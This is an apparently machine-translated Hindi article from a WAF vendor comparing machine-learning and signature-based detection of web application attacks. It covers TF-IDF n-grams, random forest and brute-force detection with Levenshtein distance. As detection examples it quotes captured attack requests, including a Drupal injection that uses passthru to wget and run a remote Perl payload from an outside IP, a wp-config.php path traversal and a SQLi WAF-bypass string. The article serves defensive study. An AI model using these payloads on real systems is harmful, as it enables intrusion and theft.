🏍️ 💫 👩‍👧‍👦 वेब एप्लिकेशन पर हमलों का पता लगाने पर मशीन लर्निंग बनाम हस्ताक्षर विश्लेषण ✋🏽 🚻 🧜

हमने मशीन लर्निंग मॉड्यूल कैसे विकसित किया, इसके बारे में हमने शास्त्रीय एल्गोरिदम की दिशा में तंत्रिका नेटवर्क को क्यों छोड़ दिया, जो लेवेंसहाइट दूरी और फ़ज़ी लॉजिक के कारण हमलों का पता लगाते हैं, और जो हमले का पता लगाने का तरीका (एमएल या हस्ताक्षर) अधिक कुशलता से काम करता है।

हमलों का पता लगाने के लिए मशीन लर्निंग का उपयोग करना

Google पर एमएल प्रश्नों की बढ़ती लोकप्रियता (साथ ही साइबरस्पेस) को देखते हुए:

और यह जानते हुए कि HTTP अनुरोध सादे पाठ (यद्यपि अर्थहीन) हैं, और प्रोटोकॉल सिंटैक्स आपको डेटा को स्ट्रिंग्स के रूप में व्याख्या करने की अनुमति देता है:

वैध अनुरोध उदाहरण

28/Aug/2018:16:55:24 +0300;
200;
127.0.0.1;
http;
example.com;
GET /login.php HTTP/1.1;
PHPSESSID=vqmi2ptvisohf62lru0shg3ll7;
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.21;
-;
-;
-----------START-BODY-----------
-;
-----------END-BODY----------

एक नाजायज अनुरोध का उदाहरण

28/Aug/2018:16:55:24 +0300;
200;
127.0.0.1;
http;
example.com;
GET /login.php?search= HTTP/1.1;
PHPSESSID=vqmi2ptvisohf62lru0shg3ll7;
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.21;
-;
-;
-----------START-BODY-----------
-;
-----------END-BODY---------

हमने वेब एप्लिकेशन पर हमलों का पता लगाने के लिए मशीन लर्निंग मॉड्यूल को लागू करने का प्रयास करने का निर्णय लिया।

विकास शुरू करने से पहले, हम समस्या का समाधान करते हैं:

HTTP अनुरोध की सामग्री द्वारा वेब एप्लिकेशन पर हमलों का पता लगाने के लिए मशीन लर्निंग मॉड्यूल सिखाना, अर्थात, अनुरोधों को वर्गीकृत करना (कम से कम बाइनरी: वैध या नाजायज अनुरोध)।

सामान्य स्ट्रिंग वर्गीकरण योजना का उपयोग करना

^{स्रोत: www.researchgate.net/publication/228084521_Text_Classification_Using_Machine_Learning_Techniques}
हम इसका विश्लेषण करेंगे

और हमारे कार्य के लिए अनुकूलन:

चरण 1. यातायात प्रसंस्करण।

हम उन्हें अवरुद्ध करने की संभावना के साथ आने वाले HTTP अनुरोधों का विश्लेषण करते हैं।

चरण 2. संकेतों की परिभाषा।

HTTP अनुरोधों की सामग्री सार्थक पाठ नहीं है, इसलिए इसके साथ काम करना है
हम शब्दों का उपयोग नहीं करते हैं, लेकिन n-gr (n को चुनना भी एक अलग कार्य है)।

चरण 3 और 4. फ़िल्टरिंग।

चरण सार्थक पाठ से अधिक संबंधित हैं, इसलिए उन्हें समस्या को हल करने की आवश्यकता नहीं है, हम इसे बाहर करते हैं।

चरण 5. एक वेक्टर दृश्य में परिवर्तित करें।

वैज्ञानिक अनुसंधान और मौजूदा प्रोटोटाइप के विश्लेषण के आधार पर, एक योजना बनाई गई थी
मशीन लर्निंग मॉड्यूल का संचालन, और डेटा का विश्लेषण करने के बाद, एक फीचर स्पेस तत्वों से बनता है। चूंकि अधिकांश विशेषताएं पाठ हैं, उन्हें पहचान एल्गोरिथ्म में आगे उपयोग के लिए वेक्टर किया गया था। और चूंकि क्वेरी फ़ील्ड अलग-अलग शब्द नहीं हैं, और अक्सर वर्णों के अनुक्रम से मिलकर होते हैं, इसलिए एन-ग्राम (TFIDF, ru.wikipedia.org/wiki/TF-IDF ) की घटना की आवृत्ति के विश्लेषण के आधार पर एक दृष्टिकोण का उपयोग करने का निर्णय लिया गया था।

एक गणितीय दृष्टिकोण से हमलों का पता लगाने की समस्या को एक क्लासिक के रूप में औपचारिक रूप दिया गया था
वर्गीकरण कार्य (दो वर्गों: वैध और नाजायज यातायात)। एल्गोरिदम की पसंद
कार्यान्वयन की पहुंच की कसौटी और परीक्षण की संभावना के अनुसार किया गया था। सबसे अच्छा
ग्रेडिएंट बूस्टिंग एल्गोरिदम (AdaBoost) ने एक तरह से खुद को दिखाया। इस प्रकार, प्रशिक्षण के बाद, निमेसिडा WAF निर्णय सांख्यिकीय गुणों पर आधारित है।
आंकड़ों का विश्लेषण किया, न कि हमलों के निर्धारित संकेतों (हस्ताक्षरों) के आधार पर।

नीचे दिए गए आंकड़े में, आप देख सकते हैं कि सार्थक पाठ के लिए क्लासिक रूपांतरण कैसे किया जाता है:

^{स्रोत: habr.com/company/ods/blog/329410}

हमारे मामले में, "शब्दों के बैग" के बजाय हम n-gr का उपयोग करते हैं।

चरण 6. संकेतों के शब्दकोश पर प्रकाश डालना।

हम TFIDF एल्गोरिदम का परिणाम लेते हैं और संकेतों की संख्या कम करते हैं (नियंत्रित करते हैं,)
उदाहरण आवृत्ति पैरामीटर)।

चरण 7. एल्गोरिथ्म सीखना।

हम एल्गोरिथ्म और उसके प्रशिक्षण का विकल्प बनाते हैं। प्रशिक्षण के बाद (मान्यता के दौरान) केवल 1, 5, 6 + मान्यता कार्य को अवरुद्ध करता है।

एल्गोरिथम चयन

लर्निंग अल्गोरिथम चुनते समय, व्यावहारिक रूप से स्किटिट-लर्न पैकेज में शामिल सभी चीजों पर विचार किया गया था।

गहन शिक्षण उच्च सटीकता प्रदान करता है, लेकिन:
- इसे संसाधनों पर बड़े व्यय की आवश्यकता होती है, दोनों सीखने की प्रक्रिया के लिए (GPU पर) और मान्यता प्रक्रिया के लिए (सीपीयू पर इंजेक्शन भी हो सकता है);
- अनुरोध को संसाधित करने के लिए लिया गया समय शास्त्रीय एल्गोरिदम का उपयोग करके प्रसंस्करण समय से काफी अधिक है।

चूंकि नेमेसीडा डब्ल्यूएएफ के सभी संभावित उपयोगकर्ताओं के पास गहरी सीखने के लिए GPU के साथ एक सर्वर खरीदने का अवसर नहीं होगा, और प्रसंस्करण समय का अनुरोध एक महत्वपूर्ण कारक है, हमने शास्त्रीय एल्गोरिदम का उपयोग करने का फैसला किया, जो कि एक अच्छे प्रशिक्षण नमूने के साथ, गहन शिक्षण विधियों के करीब सटीकता प्रदान करते हैं और अच्छी तरह से स्केल करते हैं। किसी भी मंच के लिए।

क्लासिक एल्गोरिथ्म	बहुपरत तंत्रिका नेटवर्क
1. उच्च सटीकता केवल एक अच्छे प्रशिक्षण नमूने के साथ। 2. हार्डवेयर पर मांग नहीं।	1. उच्च हार्डवेयर आवश्यकताएँ (GPU)। 2. क्वेरी प्रसंस्करण समय शास्त्रीय एल्गोरिदम का उपयोग करके प्रसंस्करण समय से काफी अधिक है।

वेब अनुप्रयोगों की सुरक्षा के लिए WAF एक आवश्यक उपकरण है, लेकिन हर किसी के पास इसके प्रशिक्षण के लिए GPU के साथ महंगे उपकरण खरीदने या किराए पर लेने का अवसर नहीं है। इसके अलावा, अनुरोध प्रसंस्करण समय (मानक IPS मोड में) एक महत्वपूर्ण संकेतक है। पूर्वगामी के आधार पर, हमने शास्त्रीय शिक्षण एल्गोरिदम पर ध्यान केंद्रित करने का निर्णय लिया।

एमएल विकास रणनीति

मशीन लर्निंग मॉड्यूल (नेमेसीडा एआई) विकसित करने में, निम्नलिखित रणनीति का उपयोग किया गया था:
- हम मूल्य पर झूठी सकारात्मकता के स्तर को ठीक करते हैं (2017 में 0.04% तक, 2018 में 0.01% तक);
- दिए गए झूठे सकारात्मक स्तर पर पहचान का स्तर अधिकतम तक बढ़ाएं।

चुने हुए रणनीति के आधार पर, क्लासिफायर मापदंडों को प्रत्येक स्थिति की पूर्ति को ध्यान में रखते हुए चुना जाता है, और वेक्टर स्पेस मॉडल (वैध यातायात और हमलों) के आधार पर दो वर्गों के प्रशिक्षण नमूने उत्पन्न करने की समस्या को हल करने का परिणाम सीधे क्लासिफायर की गुणवत्ता को प्रभावित करता है।

नाजायज यातायात का प्रशिक्षण नमूना विभिन्न स्रोतों से प्राप्त हमलों के मौजूदा डेटाबेस पर आधारित है, और वैध यातायात संरक्षित वेब एप्लिकेशन द्वारा प्राप्त अनुरोधों पर आधारित है और हस्ताक्षर विश्लेषक द्वारा वैध के रूप में मान्यता प्राप्त है। यह दृष्टिकोण आपको निमेसिडा एआई प्रशिक्षण प्रणाली को एक विशिष्ट वेब अनुप्रयोग के लिए अनुकूलित करने की अनुमति देता है, जिससे गलत सकारात्मकता का स्तर न्यूनतम हो जाता है। वैध ट्रैफ़िक के जेनरेट किए गए नमूने का आकार उस सर्वर में मुफ्त रैम की मात्रा पर निर्भर करता है जिस पर मशीन लर्निंग मॉड्यूल संचालित होता है। मॉडल प्रशिक्षण के लिए अनुशंसित सेटिंग 32 जीबी मुफ्त रैम के साथ 400,000 अनुरोध है।

क्रॉस-सत्यापन: गुणांक का चयन करें

क्रॉस-सत्यापन के लिए गुणांक के इष्टतम मूल्य का उपयोग करते हुए, हमने एक यादृच्छिक वन (रैंडम फ़ॉरेस्ट) के आधार पर एक विधि का चयन किया, जिसने हमें निम्नलिखित संकेतक प्राप्त करने की अनुमति दी:
- झूठी सकारात्मक (एफपी) की संख्या: 0.01%
- पासों की संख्या (FN) 0.01%
इस प्रकार, नेमेसिडा एआई मॉड्यूल द्वारा एक वेब अनुप्रयोग पर हमलों का पता लगाने की सटीकता 99.98% है।

एमएल मॉड्यूल का परिणाम है

विसंगति के लक्षणों के एक सेट द्वारा अवरुद्ध अनुरोध

...
URI: /user/password
Args: name[#post_render][0]=printf&name[#markup]=ABCZ%0A
UA: Python-urllib/2.7
Cookie: -
...

...
URI: /wp-admin/admin-ajax.php
Zone: ARGS
Parameters: action=revslider_show_image&img=../wp-config.php
Cookies: -
...

WAF बाईपास का प्रयास

...
Body: /?id=1+un/**/ion+sel/**/ect+1,2,3--
...

हस्ताक्षर विधि द्वारा याद किया गया अनुरोध लेकिन एमएल द्वारा अवरुद्ध

Host: example.com
URI: /
Args: q=user%2Fpassword&name%5B%23markup%5D=cd+%2Ftmp%3Bwget+146.185.X.39%2Flug
%3Bperl+lug%3Brm+-rf+lug&name%5B%23type%5D=markup&name%5B%23post_render%5D%5B
%5D=passthru
UA: python-requests/2.5.3 CPython/3.4.8 Linux/2.6.32-042stab128.2
Cookie: -

ब्लॉक ब्रूट-बल के हमले

जानवर बल के हमलों (बीएफ) का पता लगाना आधुनिक WAF का एक महत्वपूर्ण घटक है। ऐसे हमलों का पता लगाना SQLi, XSS और अन्य की तुलना में आसान है। इसके अलावा, वेब अनुप्रयोगों के प्रतिक्रिया समय को प्रभावित किए बिना, बीएफ हमलों का पता लगाने का काम ट्रैफिक कॉपियों पर किया जाता है।

निमेसिडा एआई में, क्रूर बल के हमलों की पहचान निम्नानुसार की जाती है:
1. हम वेब एप्लिकेशन द्वारा प्राप्त अनुरोधों की प्रतियों का विश्लेषण करते हैं।
2. हम निर्णय लेने (आईपी, यूआरएल, एआरजीएस, बॉडी) के लिए आवश्यक डेटा निकालते हैं।
3. हम प्राप्त डेटा को फ़िल्टर करते हैं, झूठी सकारात्मक की संख्या को कम करने के लिए गैर-लक्षित यूआरआई को छोड़कर।
4. हम अनुरोधों के बीच आपसी दूरी की गणना करते हैं (हमने लेवेंसहेटिन दूरी और फ़ज़ी लॉजिक चुना)।
5. एक आईपी से एक विशिष्ट यूआरआई के लिए अनुरोधों का चयन करें क्योंकि वे करीब हैं, या एक विशिष्ट समय के भीतर सभी आईपी से एक विशिष्ट यूआरआई (वितरित बीएफ हमलों की पहचान करने के लिए) का अनुरोध करते हैं।
6. हम हमले के स्रोत (ओं) को अवरुद्ध करते हैं जब सीमा मूल्य अधिक हो जाते हैं।

मशीन लर्निंग या हस्ताक्षर विश्लेषण

सारांशित करते हुए, हम प्रत्येक विधि की विशेषताओं पर प्रकाश डालते हैं:

हस्ताक्षर विश्लेषण	मशीन सीखने
फायदे: 1. अनुरोध प्रसंस्करण गति अधिक है। नुकसान: 1. झूठी सकारात्मकता की संख्या अधिक है; 2. हमलों का पता लगाने की सटीकता कम है; 3. हमलों के नए संकेतों को प्रकट नहीं करता है; 4. विसंगतियों का पता नहीं लगाता है (जानवर बल के हमलों सहित); 5. विसंगतियों के स्तर का आकलन करने में सक्षम नहीं; 6. हर हमला हस्ताक्षर करने के लिए संभव नहीं है।	फायदे: 1. अधिक सटीक हमलों का पता लगाता है; 2. झूठी सकारात्मकता की संख्या न्यूनतम है; 3. विसंगतियों की पहचान करता है; 4. हमलों के नए संकेतों का खुलासा; 5. अतिरिक्त हार्डवेयर संसाधनों की आवश्यकता है। नुकसान: 1. प्रसंस्करण अनुरोधों की गति कम है।

हस्ताक्षर विश्लेषण

मशीन सीखने

फायदे:
1. अनुरोध प्रसंस्करण गति अधिक है।

नुकसान:
1. झूठी सकारात्मकता की संख्या अधिक है;
2. हमलों का पता लगाने की सटीकता कम है;
3. हमलों के नए संकेतों को प्रकट नहीं करता है;
4. विसंगतियों का पता नहीं लगाता है (जानवर बल के हमलों सहित);
5. विसंगतियों के स्तर का आकलन करने में सक्षम नहीं;
6. हर हमला हस्ताक्षर करने के लिए संभव नहीं है।

फायदे:
1. अधिक सटीक हमलों का पता लगाता है;
2. झूठी सकारात्मकता की संख्या न्यूनतम है;
3. विसंगतियों की पहचान करता है;
4. हमलों के नए संकेतों का खुलासा;
5. अतिरिक्त हार्डवेयर संसाधनों की आवश्यकता है।

नुकसान:
1. प्रसंस्करण अनुरोधों की गति कम है।

एमएल मॉड्यूल द्वारा पाए गए एक हमले के नए संकेतों के आधार पर, हम हस्ताक्षर का एक सेट अपडेट कर रहे हैं, जिसका उपयोग निमेसिडा डब्ल्यूएएफ फ्री में भी किया जाता है, जो एक मुफ्त संस्करण है जो वेब एप्लिकेशन के लिए बुनियादी सुरक्षा प्रदान करता है, स्थापित करना और बनाए रखना आसान है, और इसमें उच्च हार्डवेयर आवश्यकताएं नहीं हैं।

निष्कर्ष: एक वेब एप्लिकेशन पर हमलों की पहचान करने के लिए, मशीन लर्निंग और हस्ताक्षर विश्लेषण के आधार पर एक संयुक्त दृष्टिकोण की आवश्यकता है।

वेब एप्लिकेशन पर हमलों का पता लगाने पर मशीन लर्निंग बनाम हस्ताक्षर विश्लेषण